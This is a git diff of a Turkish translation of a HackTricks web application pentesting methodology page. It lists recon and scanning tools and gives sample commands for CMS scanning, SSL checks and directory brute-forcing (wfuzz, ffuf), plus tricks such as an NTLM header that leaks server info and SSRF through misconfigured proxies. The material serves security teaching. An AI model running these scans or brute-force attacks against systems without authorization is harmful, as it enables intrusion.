-Uygulamanın **kaynak kodu** github'da mevcutsa, uygulamanın **kendi beyaz kutu testini** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı olabilecek bazı bilgiler** bulunmaktadır:
+Uygulamanın **kaynak kodu** github'da mevcutsa, uygulamanın **kendi White box testini** gerçekleştirmenin yanı sıra, mevcut **Black-Box testi** için **yararlı olabilecek bazı bilgiler** bulunmaktadır:
* Web üzerinden erişilebilen **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya herhangi bir **sürüm bilgisi** var mı?
-* **Kimlik bilgileri** nerede ve nasıl saklanıyor? Kimlik bilgilerini içeren (erişilebilir mi?) **dosya** var mı (kullanıcı adları veya şifreler)?
+* **Kimlik bilgileri** nerede ve nasıl saklanıyor? Kimlik bilgilerini içeren (erişilebilir mi?) bir **dosya** var mı (kullanıcı adları veya şifreler)?
* **Şifreler** düz metin mi, **şifrelenmiş** mi veya hangi **hashleme algoritması** kullanılıyor?
-* Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
-* Bazı bir **zafiyeti istismar ederek** bu dosyalardan herhangi birine **erişebilir misiniz**?
-* Github'da (çözülmüş ve çözülmemiş) **sorunlarda** veya **taahhüt geçmişinde** (belki eski bir taahhüt içinde bir **şifre** bulunabilir mi?) **ilginç bilgiler** var mı?
+* Bir şeyi şifrelemek için herhangi bir **anahtar** kullanılıyor mu? Hangi **algoritma** kullanılıyor?
+* Bazı bir zafiyeti istismar ederek bu dosyalardan herhangi birine **erişebilir misiniz**?
+* Github'da (çözülmüş ve çözülmemiş) **sorunlarda** veya **commit geçmişinde** (belki eski bir commit içinde bir **şifre** bulunabilir) **ilginç bilgiler** var mı?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Eğer bir CMS kullanılıyorsa, **bir tarayıcı çalıştırmayı** unutmayın, belki ilginç şeyler bulunabilir:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web siteleri için güvenlik sorunlarını taramak için. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** web siteleri için Güvenlik sorunları. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **veya** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -163,9 +163,9 @@ wpscan --force update -e --url
joomscan --ec -u
joomlavs.rb #https://github.com/rastating/joomlavs
```
-> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere zaten sahip olmalısınız (veri verilmişse) ve test sırasında akılda tutulması gereken bazı püf noktaları olmalıdır. Şanslıysanız bir CMS bulmuş olabilir ve bazı taramalar yapmış olabilirsiniz.
+> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere zaten sahip olmalısınız (veri verilmişse) ve test sırasında akılda tutulması gereken bazı püf noktalar olmalıdır. Şanslıysanız bir CMS bulmuş olabilir ve bazı taramalar yapmış olabilirsiniz.
-## Adım adım Web Uygulama Keşfi
+## Adım adım Web Uygulaması Keşfi
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
@@ -182,26 +182,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Hataları Zorlama**
-Web sunucuları, üzerlerine garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **zafiyetleri** veya **duyarlı bilgilerin ifşa edilmesini** açabilir.
+Web sunucuları, tuhaf veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **zafiyetleri** veya **duyarlı bilgilerin sızdırılmasını** açabilir.
-* /whatever\_fake.php (.aspx,.html,.vb gibi) gibi **sahte sayfalara** erişin
-* Hatalar oluşturmak için **"\[]", "]]" ve "\[\["** gibi değerleri **çerez** ve **parametre** değerlerine ekleyin
+* /whatever\_fake.php (.aspx,.html,.vb) gibi **sahte sayfalara** erişin
+* Hatalar oluşturmak için **"\[]", "]]" ve "\[\["** gibi **çerez değerlerini** ve **parametre** değerlerini ekleyin
* URL'nin **sonuna** **`/~randomthing/%s`** olarak giriş yaparak hata oluşturun
-* **PATCH, DEBUG** gibi **farklı HTTP Fiillerini** veya yanlış olan **FAKE**'yi deneyin
+* PATCH, DEBUG gibi **farklı HTTP Fiillerini** veya yanlış olan FAKE'yi deneyin
#### **Dosya yükleme olanağını kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
-Eğer **WebDav**'in **etkin** olduğunu ancak kök klasöre **dosya yüklemek için yeterli izninizin olmadığını** bulursanız şunları deneyin:
+Eğer **WebDav**'ın **etkin** olduğunu fark ederseniz ancak kök klasöre **dosya yüklemek için yeterli izniniz yoksa**, şunları deneyin:
* Kimlik bilgilerini **Brute Force** ile deneyin
-* WebDav aracılığıyla dosya **yükleyin** ve web sayfasının içinde bulunan **diğer klasörlere** dosya yükleme izniniz olabilir.
+* WebDav aracılığıyla dosya **yüklemeyi** deneyin, web sayfasının içinde **bulunan diğer klasörlere**. Diğer klasörlere dosya yüklemek için izniniz olabilir.
### **SSL/TLS zafiyetleri**
-* Uygulama **herhangi bir yerde HTTPS kullanımını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
-* Uygulama, **HTTP kullanarak hassas verileri (şifreler) gönderiyorsa**. Bu yüksek bir zafiyettir.
+* Uygulama herhangi bir yerde **HTTPS kullanımını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
+* Uygulama, HTTP kullanarak **duyarlı verileri (şifreler) gönderiyorsa**. Bu yüksek bir zafiyettir.
-[**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanarak **zafiyetleri** kontrol edin (Hata Ödülü programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri tekrar kontrol etmek için [**a2sv** ](https://github.com/hahwul/a2sv) kullanın:
+[**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanarak **zafiyetleri** kontrol edin (Hata Ödülü programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri tekrar kontrol etmek için [**a2sv** ](https://github.com/hahwul/a2sv)'yi kullanın:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -215,7 +215,7 @@ sslyze --regular
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
-### Ağ Taraması
+### Ağ Tarama
Web içinde bir tür **örümcek** başlatın. Örümceğin amacı, test edilen uygulamadan **mümkün olan en fazla yol** u bulmaktır. Bu nedenle, mümkün olduğunca çok geçerli yol bulmak için web taraması ve harici kaynaklar kullanılmalıdır.
@@ -223,43 +223,43 @@ Web içinde bir tür **örümcek** başlatın. Örümceğin amacı, test edilen
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML örümcek, JS dosyalarında LinkFinder ve harici kaynak olarak Archive.org.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML örümcek, ayrıca "önemli dosyaları" belirtir.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML örümcek. Ayrıca Archive.org'da arama yapar.
-* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir örümcek değildir ancak yararlı olabilir. Sadece her bir ana bilgisayar için bir dosya ve her bir ana bilgisayar üzerindeki her yolu alacak ve yanıtı kaydedecektir.
-* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS işleme yetenekleri olan HTML örümcek. Ancak, bakımsız gibi görünüyor, derlenmiş sürüm eski ve mevcut kod derlenmiyor.
+* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir örümcek değil ancak yararlı olabilir. Sadece her bir ana bilgisayar için bir dosya ve her bir ana bilgisayar üzerinde her yolun alınmasını ve yanıtın kaydedilmesini gösterebilirsiniz.
+* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS işleme yetenekleri olan HTML örümcek. Ancak, bakımsız gibi görünüyor, derlenmiş sürüm eski ve mevcut kod derlenmiyor gibi görünüyor.
* [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları kullanan HTML örümcek (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik parametre içeren URL'leri bulacak ve listeleyecektir.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS işleme yetenekleri olan HTML örümcek.
-* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS dosyalarında yeni yollar arayabilen JS güzelleştirme yeteneklerine sahip HTML örümcek. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) 'a da bakmak faydalı olabilir, bu, LinkFinder'ın bir sarmalayıcısıdır.
+* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS dosyalarında yeni yollar arayabilen JS güzelleştirme yeteneklerine sahip HTML örümcek. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner)'a da bakmak faydalı olabilir, bu da LinkFinder'ın bir sarmalayıcısıdır.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takımlar, bilgi güvenliği uzmanları için faydalıdır.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): AJAX isteklerini kolayca keşfetmek için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. Bakımsız gibi görünüyor.
-* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, çirkin (minify) dosyalardan göreceli URL'leri bulmak ve çıkarmak için nifty düzenli ifadeleri kullanır.
+* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, çirkin (minify) dosyalardan göreceli URL'leri bulmak ve çıkarmak için nifty düzenli ifade kullanır.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): Çeşitli araçlar kullanarak JS dosyalarından ilginç bilgiler toplar.
* [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı başsız bir tarayıcıda yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
-* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların birkaç seçeneğini karıştıran içerik keşif aracı
+* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Bir önceki araçların birkaç seçeneğini karıştıran içerik keşif aracı
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametreleri bulmak için bir Burp uzantısı.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'si verildiğinde güzel JS kodunu alacak bir araç
-* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araçtır.
-* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (ayrıca wayback'ten yanıtları indirin ve daha fazla bağlantı arayın
+* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç.
+* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (wayback'te yanıtları indirerek ve daha fazla bağlantı arayarak)
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): (Formları doldurarak bile) tarama yapın ve özel regex'leri kullanarak hassas bilgileri bulun.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik uzmanları için tasarlanmış gelişmiş çok özellikli GUI web güvenliği Tarama/Örümcek aracıdır.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'leri, yolları, sırları ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
-* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Parametreleri ve uç noktaları çıkarmak için isteğin burp geçmişinden özel kelime listesi oluşturmak için basit bir **Burp Suite uzantısı**.
+* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, özel kelime listesi oluşturmak için isteğin parametrelerini ve uç noktalarını çıkarmak için bir **Burp Suite uzantısı**'dır.
-### Dizinler ve Dosyaları Kaba Kuvvet ile Deneme
+### Dizinler ve Dosyalar İçin Kaba Kuvvet Saldırısı
-Kök klasörden **kaba kuvvet uygulamaya başlayın** ve **bu yöntemle bulunan tüm dizinleri** ve **Örümcek** tarafından **keşfedilen** tüm dizinleri kaba kuvvet uygulayarak (bu kaba kuvveti **tekrarlayarak** ve bulunan dizinlerin adlarını kullanılan kelime listesinin başına ekleyerek) emin olun.\
+Kök klasörden **kaba kuvvet saldırısına** başlayın ve **bu yöntemle bulunan tüm dizinleri** ve **Örümcek** tarafından **keşfedilen** tüm dizinleri kaba kuvvet saldırısına tabi tutun (bu kaba kuvvet saldırısını **tekrarlayarak** ve bulunan dizinlerin adlarını kullanılan kelime listesinin başına ekleyerek yapabilirsiniz).\
Araçlar:
* **Dirb** / **Dirbuster** - Kali'de bulunur, **eski** (ve **yavaş**) ancak işlevsel. Otomatik imzalı sertifikalara ve tekrarlayan aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ancak** tekrarlayan aramaya izin verir.
-* [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **tekrarlayan** arama **yapmaz**.
+* [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **tekrarlayan** arama özelliğine sahip değildir.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, tekrarlayan aramayı destekler.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir örümcek değil, bulunan URL'lerin listesini "tekrarlanan" URL'leri silmek için kullanır.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizin listesi oluşturmak için bir Burp Uzantısı
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Js içe aktarmalara dayalı olarak tekrarlanan işlevselliklere sahip URL'leri kaldırır.
-* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak kelime listelerini seçmek için wapalyzer'ı kullanır.
+* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak kelime listelerini seçmek için wapalyzer'ı kullanan bir araç.
**Tavsiye edilen sözlükler:**
@@ -284,14 +284,14 @@ _Bruteforcing veya spidering sırasında herhangi bir yeni dizin keşfedildiğin
### Her bulunan dosyada ne kontrol edilmelidir
* [**Bozuk bağlantı kontrolcüsü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilebilecek HTML içindeki bozuk bağlantıları bulun
-* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Bir yedek dosyanın adlandırılması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**'i** kullanabilirsiniz.
-* **Yeni parametreler keşfet**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.
+* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Bir yedek dosyanın adlandırılması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** gibi araçları da kullanabilirsiniz.
+* **Yeni parametreler keşfetme**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.
* _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
-* **CTF** oynuyorsanız, bir "ortak" hile, bilgileri sayfanın sağında (verileri tarayıcıyla açarsanız verileri görmemeniz için yüzlerce boşluk kullanarak) yorumlarda gizlemektir. Diğer bir olasılık da **birkaç yeni satır** kullanarak ve web sayfasının **altında** bir yorumda bilgi gizlemektir.
+* **CTF** oynuyorsanız, bir "ortak" hile, bilgileri sayfanın sağ tarafındaki yorumların içine **gizlemektir** (tarayıcıyla kaynak kodunu açtığınızda verileri görmemeniz için **yüzlerce boşluk** kullanarak). Diğer bir olasılık da **birkaç yeni satır** kullanarak ve web sayfasının **altındaki** bir yorumda bilgileri **gizlemektir**.
* **API anahtarları**: **Herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanılacağını gösteren bir rehber vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API anahtarları: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik gibi bir API anahtarı bulursanız, anahtarın hangi API'lere erişebileceğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
* **S3 Buckets**: Spidering yaparken, herhangi bir **alt alan adının** veya **bağlantının** bir **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın izinlerini** kontrol edin](buckets/).
@@ -305,15 +305,15 @@ _Bruteforcing veya spidering sırasında herhangi bir yeni dizin keşfedildiğin
* **CSS** dosyaları içindeki diğer dosyalara **bağlantıları** arayın.
* [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md)
* Eğer bir _**.env**_ dosyası bulursanız, api anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
-* Eğer **API uç noktaları** bulursanız, [onları da test etmelisiniz](web-api-pentesting.md). Bunlar dosyalar değil, ancak muhtemelen onlara benzer olacaklar.
-* **JS dosyaları**: Spidering bölümünde JS dosyalarından yol çıkarabilen birkaç araç belirtilmiştir. Ayrıca, her bulunan JS dosyasını **izlemek ilginç olabilir**, çünkü bazen bir değişiklik, potansiyel bir güvenlik açığına yol açmış olabilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
-* Keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz, zayıf olup olmadığını bulmak için.
+* **API uç noktaları** bulursanız, [onları da test etmelisiniz](web-api-pentesting.md). Bunlar dosyalar değil, ancak muhtemelen onlara benzerler.
+* **JS dosyaları**: Spidering bölümünde JS dosyalarından yol çıkarabilen birkaç araçtan bahsedildi. Ayrıca, her bulunan JS dosyasını **izlemek ilginç olabilir**, çünkü bazen bir değişiklik, potansiyel bir güvenlik açığına yol açmış olabilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
+* Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz, zayıf olup olmadığını bulmak için.
* **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (karakterlerle javascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-* Birkaç durumda kullanılan **düzenli ifadeleri anlamanız gerekecektir**, bu yararlı olacaktır: [https://regex101.com/](https://regex101.com)
-* Ayrıca, formların keşfedildiği dosyaları **izlemelisiniz**, çünkü parametrelerde bir değişiklik veya yeni bir formun görünmesi potansiyel olarak yeni bir zayıf işlevsellik belirtisi olabilir.
+* Birkaç durumda kullanılan **düzenli ifadeleri anlamanız gerekecek**, bu yararlı olacaktır: [https://regex101.com/](https://regex101.com)
+* Ayrıca, formların bulunduğu dosyaları **izlemelisiniz**, çünkü parametrelerde bir değişiklik veya yeni bir formun görünmesi potansiyel olarak yeni bir zayıf işlevsellik belirtisi olabilir.
**403 Forbidden/Basic Authentication/401 Unauthorized (atlatma)**
@@ -323,18 +323,18 @@ _Bruteforcing veya spidering sırasında herhangi bir yeni dizin keşfedildiğin
**502 Proxy Hatası**
-Eğer herhangi bir sayfa bu **kodla** yanıt verirse, muhtemelen kötü yapılandırılmış bir proxydir. Eğer `GET https://google.com HTTP/1.1` gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir SSRF bulmuş olacaksınız.
+Eğer herhangi bir sayfa bu **kodla yanıt verirse**, muhtemelen kötü yapılandırılmış bir proxydir. Eğer `GET https://google.com HTTP/1.1` gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir **SSRF** bulmuş olacaksınız.
**NTLM Kimlik Doğrulama - Bilgi sızdırma**
-Eğer kimlik doğrulama isteyen çalışan sunucu **Windows** ise veya kimlik bilgilerinizi isteyen bir giriş bulursanız (ve **alan adı** adınızı soruyorsa), bir **bilgi sızdırma** provoke edebilirsiniz.\
-`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` başlığını **gönderin** ve **NTLM kimlik doğrulamanın** nasıl çalıştığından dolayı sunucu, "WWW-Authenticate" başlığı içinde iç bilgilerle (IIS sürümü, Windows sürümü...) yanıt verecektir.\
+Eğer çalışan sunucu kimlik doğrulaması istiyorsa **Windows** ise veya kimlik bilgilerinizi isteyen bir giriş bulursanız (ve **alan adı** isteniyorsa), bir **bilgi sızdırma** provoke edebilirsiniz.\
+`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` başlığını gönderin ve **NTLM kimlik doğrulamasının çalışma şekli** nedeniyle sunucu, "WWW-Authenticate" başlığı içinde iç bilgilerle (IIS sürümü, Windows sürümü...) yanıt verecektir.\
Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**.
**HTTP Yönlendirmesi (CTF)**
Bir **Yönlendirme** içine içerik **yerleştirmek mümkündür**. Bu içerik **kullanıcıya gösterilmeyecek** (tarayıcı yönlendirmeyi gerçekleştireceği için), ancak içinde bir şey **gizlenebilir**.
-### Web Güvenlik Açıklıklarını Kontrol Etme
+### Web Güvenlik Açıklıklarının Kontrol Edilmesi
Web uygulamasının kapsamlı bir şekilde numaralandırılmasının ardından birçok olası güvenlik açığı kontrol edilmelidir. Kontrol listesini burada bulabilirsiniz:
@@ -342,7 +342,7 @@ Web uygulamasının kapsamlı bir şekilde numaralandırılmasının ardından b
[web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/)
{% endcontent-ref %}
-Web açıklıkları hakkında daha fazla bilgi edinin:
+Web açıklıkları hakkında daha fazla bilgi bulabilirsiniz:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@@ -352,9 +352,9 @@ Web açıklıkları hakkında daha fazla bilgi edinin:
Vulnerabilities ekleyebilecek değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
-
+
-Eğer **hacking kariyeri** sizi ilgilendiriyorsa ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
+Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -435,9 +435,9 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'de **takip edin**.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
index 7ccf57265..88d5c4481 100644
--- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
+++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
